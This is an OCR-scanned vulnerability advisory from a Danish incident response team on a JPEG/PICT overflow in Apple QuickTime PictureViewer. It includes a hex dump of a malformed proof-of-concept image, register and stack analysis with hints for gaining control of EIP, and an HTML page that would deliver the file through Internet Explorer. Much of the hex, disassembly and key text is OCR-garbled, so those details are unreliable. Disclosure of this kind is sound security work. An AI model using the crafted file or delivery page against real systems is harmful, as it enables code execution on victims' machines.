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Introduction

I'll start by saying thanks to you know who, for helping me try to make a working exploit for
this.

The tool that helped me to discover this issue: FileFuzz from iDEFENSE

Problem

The installation has been made on a Windows XP server running with the latest service pack 2 and all
current patches released.

The Apple Quicktime PictureViewer vulnerability:
e JPEG/PICT Overflow, Code Execution might be possible

I've tested this with the latest versions on both MAC OS X 10.4.3 and Windows XP SP2 and they are
vulnerable to the issue | explain in the following advisory.

Other platforms

This vulnerability affects all Windows Quicktime version 6.5.1, 7.0.3 and MAC OS X QuickTime
version 7.0.3, and possibly earlier versions.

Tested on platform:
Microsoft Windows XP SP2

e QuickTime Player 6.5.2

e QuickTime Player 7.0.3
Microsoft Windows 2000 Server SP4

e QuickTime Player 6.5.2

e QuickTime Player 7.0.3
Microsoft Windows 2000 Client SP4

e QuickTime Player 6.5.2

e QuickTime Player 7.0.3
MAC OS X 10.4.3

e QuickTime Player 7.0.3



Timeline of public disclosure

e 03-10-2005 Vulnerability discovered
e 14-12-2005 Research completed
e 12-12-2005 Apple Notified
e 14-12-2005 Apple Responds
e 20-12-2005 Apple verifies the vulnerability
0 APPLE-SA-2006-01-10 QuickTime 7.0.4
e 20-12-2005 CERT responds
0 VU#629845, CAN-2005-2340
e 11-01-2006 Public Disclosure

Contact information

The following vulnerability were discovered by Dennis Rand at CIRT.DK
Questions regarding this issue should be directed to:

Dennis Rand
advisory@cirt.dk

Public PGP key

Version: PGP 8.0

mQG i BEAT2xXcRBADMrO7uP0dJqlZsXkLZLgEhZz58LL77gLbXOMNODRKAO+4MTZ0ZC
WMNkZsx3D5tbou4KJZCnay tOPFjymyYLsO0J6WauTFXOLA/L+sXTJICa7vSsWwilcQW
mO1uyO+djp3XumGHkWdWXvu5cXm7y+UjsF51 i1QVBXO9EGR18ApoCzA/mi/QCg/zzT
KwIOX7XXGi1pLTpUBI/BvaRkD/2pZfANLSF7TcCT/rDcNexxr5Ci19xHTgIBFKUCQK
INNF/umLLM3PVyFk8z17Ra2d8rvPzhDd 1 i +VGUOFIv5ckRRhiu9A4s0E6zbTkv3T
Q+je/ynnpl360LswYG+i1CELZqzOssRUTe4m9nSeJrbvtyFkW71/UrBkfursed6yD
vzVDA/4mrWEWg j ZkO4wEe fwg6FOXr2dChGmdoVXaDyKuQ89hp99THP IALjnorNQK
91 1bzyJGX+HaU/KyTKgQFfeEEd4znTi9EEaDNDzQmbCntmmCq2PANOOOcgm41VNO i
CzEDvsweRxGdFFQA+aoNjqeACL1YmPNNTWeNeMNYN7kYD9sTJrQgQOISVCBBZHZp
c29yeSA8YWR2aXNvenlAY21ydC5kaz6JAFgEEBECABgFAKAT2xc I Cwk I BWMCAQoC
GQEFGWMAAAAACgkQX3FRHNAOUC+KAQCFUD3uwuQmiZjUNXmcKyzXVWFni7cAni IS
TmTQMRF3r 1 S6KKmSXFnFrXG+uQINBEAF2xcQCAD2Q1e3CH8IF3KiutapQvMF6PIT
ETIPtvFuuUs41INoBplajFOmPQFXzOAFfGYyOOpIK33TGSGSTgMg7116RFUOdNQ+PVZ
X9x2Uk89PY3bzpnhV53ZzF24rnRPxfx2vIPFRzBhznzJZv8V+bvOkV7HAarTW56N
0oKVy0tQa8L9GAFgr5fS1/VhOSdvNILSd5JEHNmszbDgNRROPF 1 izHHXbLY7288kj
WEPWpVSYJY67VYy4XTJTNP18F1dDox0YbN4z 1 Sy1Kv884bEpQBgRj XyEpwpylobE
Axn 1By 16ypUM2Zafg9AKUJISCREMIPWakXUGTFnHy9iUsiGSa6g6JewlXpMgs7AAIC
B/98F1FQkSzTqoH80viqqJTj3xZVe7xi+n4g4Ji3zuHW+jsgg6SPZ0OykCDSuzTCO
hJ6LLnwFaqGGu2As7RaNd335P8rH1bLwWQMmIo+Kohj3Ya7cg6gPkkiMSZAlpdca
cXVbxtKzZ05dxcixdd02/HO0c84/1mR8aj 10smFK14DXJ90wCglgh1i914rQLx5mei
KOXheewAT9eA13yPwbUR1EnormDdaz0OUSX315GBGgvHBO3Xy+muolL.8Qzep4P1qgfL
Eg18tNXh0OvQzBGdmhAjdSVSnSMBts4D5K20HC2YvbdPzWjVeyKg+yTY 14r3rlD+x
VvSPng/cCcSX1bESzjOMCE6GPD i QBMBBgRAgAMBQJAHISXBRSMAAAAAAOCJEF930RZQ
DIHPACgAN1jt7gbjHBTQLWTUZHEMPpVONWYS+AJ4sIP10Gz+6/YQLbWr1zXEbmKxo



File description

Danish Computer Incident Response Team

Apple QuickTime Pictureviewer (Windows XP)

File: PictureViewer.exe

Size: 298496 Bytes

MD5: FDDCC6C0OD3C7901AD59D46F7282E2198

File Properties:

CompanyName: Apple Computer, Inc.

FileDescription: PictureViewer

FileVersion: 6.5.1

InternalName: PictureViewer

LegalCopyright: © Apple Computer, Inc. 1997-2004
OriginalFilename: PictureViewer.exe

ProductName: QuickTime

Executable module where overflow occours:

Base: 66800000

Size: 00631000 (6492160.)

Entry: 668C8A29 QuickTim.<ModuleEntryPoint>
Name: QuickTim (system)

File version: 6.5.2

Path: C:\WINDOWS\system32\QuickTime.qts
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Danish Computer Incident Response Team

Technical details of the vulnerabilities

JPEG/PICT Overflow, Code execution might be possible (Windows XP)

When making a malformed ".jpg" or ".pict" file it is for sure possible to gain control over the 2

registers EBP and ESI.

It also seems to be possible to gain control over last two bytes of the EIP.

The overflow appears to be when the Apple Quick initiates

" Apple_QuickTime JPEG_Decompressor INIT_MUTEX " but after a test it is possible to

rename the .JPG file to .PICT and the same overflow occours.

Proof-of-Concept
This is a HEX dump of the "malicious" JPEG file where the error/overflow occurs.

0 ;4 G I g |

o 5 & 5 2 b ¢ d
0oo0o00000h: FF DS FF EO OO 10 48 46 49 46 00 01 02 00 OO0 64
oooo0010h: OO0 64 OO 0O FF EC 00 11 41 41 41 41 41 00 01 OO0
000o0020h: 04 OO0 QO 00O 3C OO0 00 FF EE 00 26 41 64 6F 62 65
00000030k 00 64 CO OO0 00 OO 01 O3 00 15 04 O3 06 DA OD OO0
ooooo040h: 00 01 €8 00 00 01 ES OO0 OO0 02 3D 00 00 D2 82 FF
0oooo0o050h: DE OO S84 00 Oe 04 04 04 05 04 06 05 05 06 09 06
ooooo0&e0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
ooooooY0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
ooooo0s20k: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
ooooooS0h: 1F 1F 1F AF 01 O 07 07 0D OC 0OD 18 10 10 18 14
oooo00=s0h: 15 11 15 14 41 41 41 41 41 41 41 41 41 41 41 41
ooooo0kp0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
oooooQcOh: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
oooocoodOh: 41 41 41 41 41 FF C2 OO0 11 05 00 2C 00 ZA 03 O1
ooo0oC0e0Oh: 11 00 02 11 01 03 11 O1 FF C4 OO0 80 00 01 01 O1
ooooCoof0h: 01 O1 OO0 OO OO0 OO OO0 OO OO0 OO0 OO0 OO0 o0 oo o4 o1
ooooC0100h: 03 06 01 01 00 O3 01 O1 Q0 OO0 OO0 OO0 00 0O o0 oo
ooooC0110h: OO0 OO0 QO 00 01 02 03 04 05 10 01 01 01 01 o1 OO0
00000120R: 00 OO0 OO OO0 0O OO OO0 OO0 OO0 0o oo 1 =0 11
0000013 0k: 01 OO0 OO0 OO OO QOO OO OO0 Qo oo DDD
ooooo0140h: 41 941 491 41 41 41 41 41 41 41 41 241 41 41 41 41
ooooo0150k: 41 41 41 41 41 41 43 41 41 41 41 41 41 41 41 41
oooo01e0h: 41 41 41 ‘1‘11 41 41 41 41 41 41 41
ooooo0170k: 41 41 41 41 4 : . 71 41 41 41 41 41 41 41 41
ooooo01s80h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
ooooo01S0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
ooooC01s0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
oooocikboh: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
ooooCicOh: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
oooocidoh: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
oooodle0Oh: 41 491 41 41 41 41 41 41 41 41 41 4941 41 41 41 41
ooooo1lfoh: 41 491 41 41 41 41 41 41 41 41 41 4941 41 41 41 41
ooooozo00h: 41 4941 491 41 41 41 41 41 41 41 41 4241 41 41 41 41
ooooo0z10h: 41 4941 491 41 41 41 41 41 41 41 41 241 41 41 41 41
ooooo0zZ20h: 41 4941 491 41 41 41 41 41 41 41 41 241 41 41 41 41

00000230R: 41 41 41 41 41 41 41 41 41941 4T3 41 41 41 41
o0000240R: 41 41 41 41 41 41 41 4 <C 06 90 41)41 41 41 41
00000250Rk: 41 41 41 41 41 41 41 4941 41 431491 41 41 41 41

ooooo0260nR: 41 41 41 41 41 41 41 41 FF Di 41 41 01 03 03 0O1
000002%Y0nh: 3F 10 41 41 41 41 41 41 41 41 41 41 41 41 41 41
000002800k: 41 41 41 41 41

Figure 1
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Danish Computer Incident Response Team

Description of Figure 1:

B8EC1200:

CC069041:

over the EBP and the ESI.

This is the reference to a place in the stack where 42424242 are located giving control

The code in the stack that does this are: MOV ESI,DWORD PTR DS:[EAX] I then
used this to point to some of the code | had overwritten, using the address shown

above.

This allows control over part of the EIP the value that is possible to change are 06 this

will in the EIP be the address: "66B1072C". There is a +1 to the value. Changing this
from the current is does not seem to be possible to have access over the EBP and ESI.

@File Wfiew Debug  Plugins

Opkions

Window Help

ERUE

> wijed ¥ L | +f) LIE|M[T|W[H|Cc|

Registers (FPL)

ceE1BEES[] .« BBECZ4 14 MoU EBx, OWORD FPTR S55:[ESF+141
SSE1BEEA|] -« 83C2 B4 AOD ED, 4
SoE1BEED|| -« SE38 Moy ESI,OWORD FTR DS:L[ERX]
SEEIBEEF|] . 2308 64 ADD ERX, 4
EEEIAEFZ(] . 294424 38 MOU DWORD PTR S5: [ESP+381,EAK
EEE1AEFE|l .« 8B42 FC HMOU ERx, DWORD PTR O5:[EDX-41
EEEIBEFZ|] . 895424 18 HMOU DWORD FTR S5: [ESP+1@1,EDE
SLE1BEFD SELZ MOL EQ, DWORD FTR DS: [EEX]
SoE1BEFF S3C2 18 AOD ED,
SEE1EVEZ 23Ca 18 ADD ERX, 18
SEE1A7VES C1FA @5 SAR iy
EEE1ATES CiFg @5 SAR ERX.E
SLE1EVEE 22CT B4 AOD EEW, 4
SLE1EVEE B0z AOD EDW, EDX
coElEvial| . B3Ca OO ERX, ERX
S5E18712(] . 895C24 14 MOU DWORD PTR S5:[ESP+141,EBX
SEELAVIE|| « BFEFSCEA G884 MOUSK EEX,WORD PTR D5: [EDX+ECH+4GG]
SEELEVIE|l « BFEF24E8A BEEC) MOUSE EDX, WORD PTR O5: [EDX+ECH+CEHE]
SEELEVZE|] . 294424 24 MOU DWORD PTR S%: [ESP+241,EAX
=1 . SBEE MO EBP, ESI
BFEFB4B83 OLSE ERH, WORD PTR DS: [ERK+ECK]

16 . B3ES ADD EEF, ERX
EEELATEE|] « B306 ADD ED:, ESI
SEELEVE4|] .« B300 AOD EBX, EEF
scE1EvEE(] - CIFA B4 SAR EDW, 4
SoE18v33(] . CIFE B84 SHR EBW, 4
EEEB1873C(] . 8A143A MoL OL,.BYTE PTR DS:CECK+EDI]
EEELAVEF|] « SAGB43E HMoU AL, EBYTE PTR DS:[EBX+EDI]
EEELAT4Z(] .« B1E2 FEOBE&8E AHD ED:, BFS
EEELEV4E|] .« 25 FEREEEE:a AHD ERX, BF 2
SSE1EV40(] - S30B #OR EEX, EEX
coElavdr(l . CLEZ @5 SHL _ED
SEE1AVEZ(| . BBC2 OR ERX, EDX
EEE1AVE4|] . SBE424 24 ML ED, OWORD PTR 55: [ESP+241
FERTATES HFE AR SHI FO 2
LEELEES| ] « SE4424 10 MUY EHx, UWUOED F 1B SE: LESE+H1L]
GEE1EFED|] . 801436 LEA EDX,OWORD FTR O5:[ESI+ESI]
seE1EFEC|| . B83C2 AOD ERX, EOX
SEE1EFEE|| . SB5424 28 MOL ED, DWORD PTR SS: [ESP+261
GEB1EFCE(] . 4R OEC EDX
SEEL1EFCE|| . 894424 1C MOU CWORD FPTR SS5:[CESP+1C1,ERX
EEB1EFCY|] . 895424 2H HMOW DWORD PTR S5:[ESP+2E1, EDX
SEE1EFCE|| ~BF85 FEBFEFFFF|LJHE GuickTim.66B186CC
eEB18701() . 5F FOF EDI
&6E1E6FD2|| . EE POF ESI
LEE1AT =il EOe EEE
O5: [BE49F2AZ2]1="""
ERX=B80AZ43A
Address |Hex dump ASCII
AR SEEE| bbb HE EE] B0 D8 BE BE] ... ... ..
0E4128603| G0 68 80 Q8 92 BS 4@ 8d LA
AE4136E16| @8 66 66 @@ 88 68 AR BE|........
GE412812| 60 B8 60 08| 80 08 @8 @8)........
HE41236826 | B8 00 G6 BE) BE B8 @8 88| ........
VARAA DARDO QR AR ARG RG] AR AR G A

BOBRSIH
BESFEF1S
FFFFFFFF
BEEEEOHEE
BE12ECEC
42424242
45424245
561 ZE05E

6EB1AVZC BuickTim. GEB1872C

ES BE22 22Zbit
CS BalE 22bit
55 BEZ3 S2bit
0% BEZ2 22bit
FZ BEZE 22Zbit

1 FFFFFFFF ]
&i FEFFFFFF ]
&1 FFFFFFFF ]
@i FFFFFFFF ]
TFFOF@@E[FFF)

GS BE@8 HULL
LastErr ERROR_SUCCESS [(@0Q00856)

BEZEEz82

empty
empty
empty
EMpTY
EMptY
enphty
empty
empty

BE2E
B27F

(MO, HE, ME, A, NS, FO, GE, 51

+UHORM BE12 BEFE0AEE BEEEESES

-UHORM DEZ4 FCY1EI4E FCO1E945

HIHORM 4196 BHEEEESC BEFC092E

6. 2532685292857 97 7998 —4933

1. ARAEREREANEAEEEDEEG

3641 . 684521 329543548

4EIFFED, 492B2E440EE5 18

2. 42597V IE2EER0AEEEEE+1
2210@ ESSER

Cond B B @@ Err 8 B %

5|
u
[a]
Prec MERR,S532 HMask i

ul
Lal
1

=

DI
@@ (GT)
11
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Danish Computer Incident Response Team

There is an access violation crash at 66b1072c, how it got there? ret addr on stack= 66B1A1FF
leads us to this call

66B1A1F7 51 PUSH ECX
66B1A1F8 FF9424 3C010000 CALL DWORD PTR SS:[ESP+13C]
66B1A1FF 83C4 08 ADD ESP,8

If you set a break point on this call address you see where it is supposed to go. So keep it running
hitting the breakpoint and then run again. After about 272 times.
66B1A1F8 FF9424 3C010000 CALL DWORD PTR SS:[ESP+13C] ;
QuickTim.66B106CC

this is the time that will lead to the crash. "06 CC" are data from the file
I control two bytes of what will become EIP value, | can set conditional breakpoint on
this instruction with condition "[esp+13c] == 66B106CC" to reach it in debugger.

For exploitation. stack looks like this

ESP ==> >01097C10
ESP+4 > 00000001
ESP+8 > 00000000
ESP+C > 01097C10
ESP+10 > 01097410
ESP+14 > 000000C4
ESP+18 > FFFFFB87
ESP+1C > 00000011
ESP+20 > 41414100
ESP+24 > 41414141
ESP+28 > 41414141
ESP+2C > 0013EC98
ESP+30 > 002D1441
ESP+34 > 41414141
ESP+38 > DEADBEEF

| controlled 2 bytes of EIP, now what you must find is some instructions in 66B1xxxx code
range that will do what you want such as call [esp+38] or any of the other values I control
on the stack or something.

Page 8 of 12
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Danish Computer Incident Response Team

JPEG/PICT Overflow, Code execution might be possible (MAC OS X 10.4.3)
The following is a dump from MAC OS X 10.4.3 crash dump report.

OS Version:

Report Version:

10.4.3 (Build 8F46)
3

Command: QuickTime Player

Path: /Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player
Parent: WindowsServer [89]

Version: 7.0.3(7.0.3)

Build Version: 2

Project Name: QuickTime

Source Version: 3871400

Exception: EXC_BAD_ACCESS (0x0001)
Codes: KERN_INVALID_ADDRESS (0x0001) at 0x41414142
Thread 0: Crashed
0 ...ickTimeComponents.component 0x997b9854 read HT + 1580
Thread 1:
0 libSystem.B.dylib 0x9000b208  mach_msg_trap + 8
1 libSystem.B.dylib 0x9000b15¢c  mach_msg + 60
2 com.apple.CoreFoundation 0x9075d108 _ CFRunLoopRun + 832
3 com.apple.CoreFoundation 0x9075ca0c  CFRunLoopRunSpecific + 268
4 com.apple.audio.CoreAudio 0x914001dc = HALRunLoop::OwnThread(void*) + 264
5 com.apple.audio.CoreAudio 0x913fff7c CAPThread::Entry(CAPThread*) + 96
6 libSystem.B.dylib 0x9002b200  _pthread_body + 96
Thread 2:
0 libSystem.B.dylib 0x90053f68  semaphore_timedwait_signal_trap + 8
1 libSystem.B.dylib 0x900702c8  pthread_cond_timedwait_relative_np + 556
2 ...ple.CoreServices.CarbonCore 0x90b745e4  TSWaitOnSemaphoreCommon + 176
3 ...ickTimeComponents.component 0x996d2460  ReadSchedulerThreadEntryPoint + 436
4 libSystem.B.dylib 0x9002b200 _pthread_body + 96
Thread 3:
0 libSystem.B.dylib 0x9000b208  mach_msg_trap + 8
1 libSystem.B.dylib 0x9000b15¢c  mach_msg + 60
2 com.apple.CoreFoundation 0x9075d108 _ CFRunLoopRun + 832
3 com.apple.CoreFoundation 0x9075ca0c ~ CFRunLoopRunSpecific + 268
4 com.apple.CoreFoundation 0x9076be6c  CFRunLoopRun + 52
5 com.apple.QuickTime 0x946d9028  QTSNetworkThread_RunThread + 144
6 libSystem.B.dylib 0x9002b200 _pthread_body + 96
Thread 4:
0 libSystem.B.dylib 0x9000b208  mach_msg_trap + 8
1 libSystem.B.dylib 0x9000b15¢c  mach_msg + 60
2 com.apple.CoreFoundation 0x9075d108 __ CFRunLoopRun + 832
3 com.apple.CoreFoundation 0x9075ca0c  CFRunLoopRunSpecific + 268
4 com.apple.Foundation 0x92902b9c  +[NSURLConnection(NSURLConnectionInternal)
_resourceLoadLoop:] + 264
5 com.apple.Foundation 0x928db6d4  forkThreadForFunction + 108
6 libSystem.B.dylib 0x9002b200 _pthread_body + 96
Page 9 of 12
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Danish Computer Incident Response Team

Thread 5:

0 libSystem.B.dylib

1 com.apple.CoreFoundation
2 libSystem.B.dylib

Thread 6:
0 IlibSystem.B.dylib
1 com.apple.DesktopServices

2 ...ple.CoreServices.CarbonCore
3 libSystem.B.dylib

Thread 7:

libSystem.B.dylib
libSystem.B.dylib
...ple.CoreServices.CarbonCore
com.apple.DesktopServices
...ple.CoreServices.CarbonCore
libSystem.B.dylib

OB wWNEO

hread 8:
libSystem.B.dylib
libSystem.B.dylib
...ple.CoreServices.CarbonCore
com.apple.DesktopServices
...ple.CoreServices.CarbonCore
libSystem.B.dylib

O WNEF O

Thread 9:

0 libSystem.B.dylib

1 com.apple.Foundation
2 com.apple.AppKit

3 com.apple.Foundation
4 libSystem.B.dylib

hread 10:
libSystem.B.dylib
libSystem.B.dylib
...ple.CoreServices.CarbonCore
...ple.CoreServices.CarbonCore
libSystem.B.dylib

AWN R O o

Thread 0 crashed with PPC Thread State 64:
srrl: 0x000000000200f030

srr0: 0x00000000997b9854

0x9001f20c
0x9076f99c
0x9002b200

0x9002e44c
0x927eb5d4

0x90b41a44
0x9002b200

0x9002b8a8
0x9003001c
0x90b41c34
0x927ebe20
0x90b41a44
0x9002b200

0x90053f68
0x900702c8
0x90b41c34
0x9281645¢c
0x90b41ad4
0x9002b200

0x90049748
0x928f3ad0
0x9371e7e4
0x928db6d4
0x9002b200

0x90053f68
0x900702c8
0x90b745e4
0x90b7f08¢c
0x9002b200

select + 12
__CFSocketManager + 472
_pthread_body + 96

kevent + 12
TFSNotificationTask::FSNotificationTaskProc(void*)
+ 56

PrivateMPEntryPoint + 76

_pthread_body + 96

semaphore_wait_signal_trap + 8
pthread_cond_wait + 488

MPWaitOnQueue + 224
TNodeSyncTask::SyncTaskProc(void*) + 112
PrivateMPEntryPoint + 76

_pthread_body + 96

semaphore_timedwait_signal_trap + 8
pthread_cond_timedwait_relative_np + 556
MPWaitOnQueue + 224
TPropertyTask::PropertyTaskProc(void*) + 72
PrivateMPEntryPoint + 76

_pthread_body + 96

syscall_thread_switch + 8

+[NSThread sleepUntilDate:] + 152
-[NSUIHeartBeat _heartBeatThread:] + 1100
forkThreadForFunction + 108
_pthread_body + 96

semaphore_timedwait_signal_trap + 8
pthread_cond_timedwait_relative_np + 556
TSWaitOnSemaphoreCommon + 176
AlOFileThread(void*) + 520
_pthread_body + 96

vrsave: 0x0000000000000000

cr: 0x44242228 xer: 0x0000000000000004 Ir: 0x00000000997b9384 ctr: 0x0000000000000000
r0: 0x0000000000000000 r1: 0x00000000bfffbff0 r2: 0x0000000000000001 r3: 0x00000000ffffdcfl
r4: 0x0000000000000041 r5: 0x0000000041414141 r6: 0x0000000000000000 r7: 0x0000000001c16ff3
r8: 0x0000000000000000 r9: 0x0000000041414142 r10: 0x0000000000000000 r11: 0x0000000000000001
r12: 0x00000000997ba470 r13: 0x0000000099e8f19a r14: 0x00000000bfffc050 r15: 0x00000000bfffc030
r16: 0x0000000099e8f1lbc r17: 0x0000000000000000 r18: 0x00000000bfffc031 r19: 0x0000000001c69400
r20: 0x0000000000000011 r21: 0x00000000bfffc050 r22: 0x0000000001c69¢c00 r23: 0x00000000997bad70
r24: 0x00000000bfffc030 r25: 0x0000000000000001 r26: 0x00000000000004a4 r27: 0xO0000000fffffh86
r28: 0x00000000bfffc031 r29: 0x00000000000004a4 r30: 0x0000000000000001 r31: 0x00000000997b9230
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Attack vector for Microsoft Internet Explorer

If this should be possible to exploit and execute arbitrary code, just by viewing a webpage using this
code:

<html>

<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="320" height="306" standby="Data is loading..."
codebase="http://www.apple.com/qtactivex/qtplugin.cab">

<param name="src" value="316.pict">

<param name="autoplay" value="true">

<param name="controller" value="true">

<embed src="316.pict" width="320" height="306" scale="1" autoplay="true" controller="true" type="video/quicktime"
pluginspage="http://www.apple.com/quicktime/download/">

</embed>

</object>

</html>
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Corrective actions

For Mac OS X v10.3.9 or later
The download file is named: "QuickTimelnstallerX.dmg"
Its SHA-1 digest is: a605fc27d85b4c6b59ebbbc84ef553b37aa8fbca

For Windows 2000/XP
The download file is named: "iTunesSetup.exe™
Its SHA-1 digest is: 1f7d1942fec2¢3c205079916dc47b254e508dede

Information will also be posted to the Apple Product Security web site:
http://docs.info.apple.com/article.html?artnum=61798

Disclaimer

The information within this document may change without notice.
Use of this information constitutes acceptance for use in an "AS IS" condition.

There are NO warranties with regard to this information.

In no event shall | be liable for any consequences or damages,
Including direct, indirect, incidental, consequential, loss of business profits or special
damages, arising out of or in connection with the use or spread of this information.

Any use of this information lies within the user's responsibility. All registered and
unregistered trademarks represented in this document
Are the sole property of their respective owners.
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